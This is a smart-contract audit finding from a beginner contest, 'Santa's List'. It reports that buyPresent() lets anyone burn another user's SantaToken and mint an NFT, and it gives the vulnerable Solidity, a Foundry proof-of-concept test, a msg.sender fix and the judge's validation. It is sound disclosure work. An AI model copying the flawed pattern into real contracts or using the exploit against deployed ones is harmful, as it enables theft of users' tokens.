First Flight #5: Santa's List
First Flight #5
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

buyPresent() function removes balance from anyone

Nocturnus

Summary

buyPresent can be called to trade 1e18 of SantaToken for an NFT according to the actual code.

Vulnerability Details

function buyPresent(address presentReceiver) external {
i_santaToken.burn(presentReceiver);
_mintAndIncrement();
}

buyPresent() functions takes one parameter which is presentReceiver. The function can be called by anyone and it burns 1e18 SantaToken from whoever the presentReceiver is.

Impact

So anyone can call the buyPresent() function and burns some other user's SantaToken and mints himself an NFT.

function testNCTBuyPresentRemovesBalanceFromAnyone() public {
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
vm.startPrank(santa);
santasList.checkList(user, SantasList.Status.EXTRA_NICE);
santasList.checkTwice(user, SantasList.Status.EXTRA_NICE);
vm.stopPrank;
vm.startPrank(user);
santasList.collectPresent();
vm.startPrank(user2);
santasList.buyPresent(user);
vm.stopPrank;
assertEq(santasList.balanceOf(user2), 1);
}

Tools Used

  • manual code review

  • foundry

Recommendations

If the buyPresent() function should work according to the explanation in the contest documents i.e. to trade tokens with NFTs
in that case the recommendation can be to remove the presentReceiver argument from the buyPresent() function and add msg.sender as an argument to burn function like below:

function buyPresent() external {
i_santaToken.burn(msg.sender);
_mintAndIncrement();
}
Updates

Lead Judging Commences

inallhonesty Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

buyPresent should use msg.sender

Current implementation allows a malicious actor to burn someone else's tokens as the burn function doesn't actually check for approvals.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.